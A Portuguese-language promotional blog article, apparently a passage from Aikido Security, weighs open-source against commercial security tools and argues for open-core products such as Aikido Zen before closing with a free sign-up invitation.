2. Escolha a ferramenta gratuita e de código aberto que dá mais falsos positivos do que uma aplicação de encontros numa noite solitária de sexta-feira.

Como em tudo o que diz respeito à segurança, há mais para desvendar na realidade. Neste artigo, pretendo explorar quando é que as ferramentas de segurança de código aberto devem ser utilizadas, quando é que as ferramentas comerciais são mais eficazes e se podemos confiar nas ferramentas criadas a partir de um núcleo de código aberto.

Construir vs Comprar (a armadilha do custo do código aberto)

À medida que a sua empresa cresce, depressa se aperceberá de que a escolha entre código aberto e comercial é mais uma escolha entre construir ferramentas ou comprar ferramentas. O código-fonte aberto fornece um ótimo ponto de partida, mas não possui muitas das funcionalidades de que necessita: painéis de controlo, integrações, relatórios de conformidade, fluxos de trabalho de correção, filtragem de falsos positivos e priorização de vulnerabilidades, para citar algumas. Por isso, a ideia de que o código-fonte aberto é gratuito simplesmente não é verdadeira. No entanto, isto pode ser uma vantagem, pois a construção à medida que se avança reduz o investimento inicial e permite-lhe concentrar-se nas funcionalidades que são importantes para si. Significa que não está a depender de um fornecedor para fornecer a funcionalidade que "prometeram" fornecer no terceiro trimestre há dois anos.

Há muitos aspectos negativos a considerar quando se constrói com base em ferramentas de código aberto. Em primeiro lugar, não só será necessário um tempo de desenvolvimento significativo para criar estas ferramentas, como também será necessária uma manutenção contínua. As ferramentas de segurança também podem bloquear a produção quando são integradas em elementos como os pipelines CI/CD, por exemplo. Isto significa que, quando falham ou se avariam, podem causar perdas de produtividade sem qualquer apoio para o ajudar a regressar à atividade.

O que dizer então da opção de compra? Em primeiro lugar, não existe um período de arranque, obtém-se uma cobertura completa desde o início, o que resulta em menos dívidas de segurança mais tarde. Também não perde o custo de oportunidade de retirar as equipas de engenharia dos seus objectivos principais para se concentrarem na criação de funcionalidades para ferramentas internas. No mundo acelerado das empresas em fase de arranque, não subestime o valor disto.

Código aberto vs. comercial

As ferramentas comerciais são melhores na descoberta de vulnerabilidades?

Até agora, falámos de todas as funcionalidades da ferramenta sem sequer colocarmos uma das questões mais importantes. O que é que encontra mais vulnerabilidades? De um modo geral, a funcionalidade principal das ferramentas de código aberto é muitas vezes igual à das ferramentas comerciais na sua capacidade de encontrar vulnerabilidades. No entanto, as ferramentas comerciais estão à frente na sua capacidade de filtrar falsos positivos e dar prioridade às suas descobertas.

Muitas vezes, são ferramentas comerciais que são construídas com base em projectos de código aberto. Por exemplo, vejamos o Zen by Aikido, uma firewall in-app com todas as funcionalidades, concebida para impedir ameaças em tempo de execução. Será que é melhor a detetar ameaças em tempo de execução e a impedi-las do que um equivalente de código aberto? Nem por isso, porque se baseia num projeto de código aberto, o AikidoZen. O valor da versão empresarial está nas suas funcionalidades adicionais, como a análise, a criação de regras, a compreensão mais profunda das suas ameaças específicas e a facilidade de implementação, tudo coisas que teria de construir se utilizasse a versão de código aberto numa empresa. Portanto, o código aberto não é necessariamente pior, apenas está a faltar a fase seguinte da triagem.

Nota: A avaliação comparativa das ferramentas em relação às vulnerabilidades encontradas também pode ser muito complicada. Uma óptima ferramenta de segurança pode encontrar menos vulnerabilidades porque é melhor a remover falsos positivos com base no contexto. Por conseguinte, a melhor ferramenta nem sempre é a que encontra mais vulnerabilidades, na maior parte das vezes é o oposto.

Alimentado por código aberto criado para empresas

Então o código aberto é demasiado desenvolvido e o comercial é demasiado caro, que tal um meio-termo? As ferramentas com todas as funcionalidades que utilizam o código-fonte aberto no seu núcleo não são um conceito novo. Alguns dos produtos de segurança mais bem sucedidos do mundo utilizam o código aberto no seu núcleo, como o Hashicorp Vault, o Elastic Security e o Metaploit, para citar alguns. Há muitas razões para o sucesso destas ferramentas e provavelmente não é pelas razões que pensa.

Relação custo-eficácia

As ferramentas de código aberto não só têm de competir com ferramentas comerciais alternativas, como também têm de competir com a sua base de código aberto. Isto significa que o seu valor deve ser comprovado e transparente, resultando frequentemente numa oferta mais económica.

O poder da comunidade

Muitas vezes, as ferramentas de código aberto são mantidas e construídas por empresas comerciais, como a Aikido Zen. As ferramentas baseadas em código aberto não o fazem apenas para reduzir o tempo de desenvolvimento, mas também porque os fundadores acreditam fundamentalmente no poder do código aberto. As ferramentas de código aberto são frequentemente mais rápidas a criar funcionalidades porque têm uma comunidade por trás delas, o que também significa que, se tiver um problema específico e de nicho, pode introduzi-lo na ferramenta.

Transparência

Muitas vezes, comprar ferramentas comerciais pode ser um pouco como comprar um carro sem ver o seu motor. Qual a sua qualidade/fiabilidade a longo prazo? É mais fácil esconder os pontos fracos quando não se pode ver o motor. As ferramentas de código aberto não podem esconder o seu motor, pelo que é mais fácil sentirmo-nos confiantes na própria ferramenta.

Caraterísticas comerciais

Como já foi referido, uma ferramenta de código aberto está muitas vezes a competir com alternativas comerciais e ferramentas de código aberto, pelo que tem de se orgulhar das suas funcionalidades adicionais. Isto significa tudo o que se espera de uma ferramenta comercial, mas muitas vezes um pouco mais. Uma vez que o produto beneficia de uma base de código aberto bem definida, é possível dedicar atenção a melhorias que, em última análise, são transferidas para o utilizador final.

Então, o que é que eu escolho (considerações finais)

Discutimos as vantagens das ferramentas de segurança de código aberto, comerciais e de código aberto. Penso que o meu tom de voz deixa claro que, enquanto autor, adoro a comunidade de código-fonte aberto e acredito que as ferramentas de código-fonte aberto são um compromisso em termos de preço sem comprometer as caraterísticas. É obviamente idiota dizer que não há razão para que, nalguns cenários, uma versão comercial pura seja melhor. Existem óptimas soluções inovadoras que são inteiramente de código fechado. Mas o que quero dizer é que, só porque algo se baseia num projeto de código aberto, isso não significa que comprometa a sua capacidade ou as suas funcionalidades. E porque precisa de provar o seu valor com total transparência, muitas vezes oferece caraterísticas e valor mais profundos.

O Aikido security foi criado por programadores para programadores, para ajudar a garantir a segurança. Orgulhamo-nos da nossa herança de código aberto e gostaríamos que a visse em ação por si próprio.

Comece a utilizar o Aikido Security gratuitamente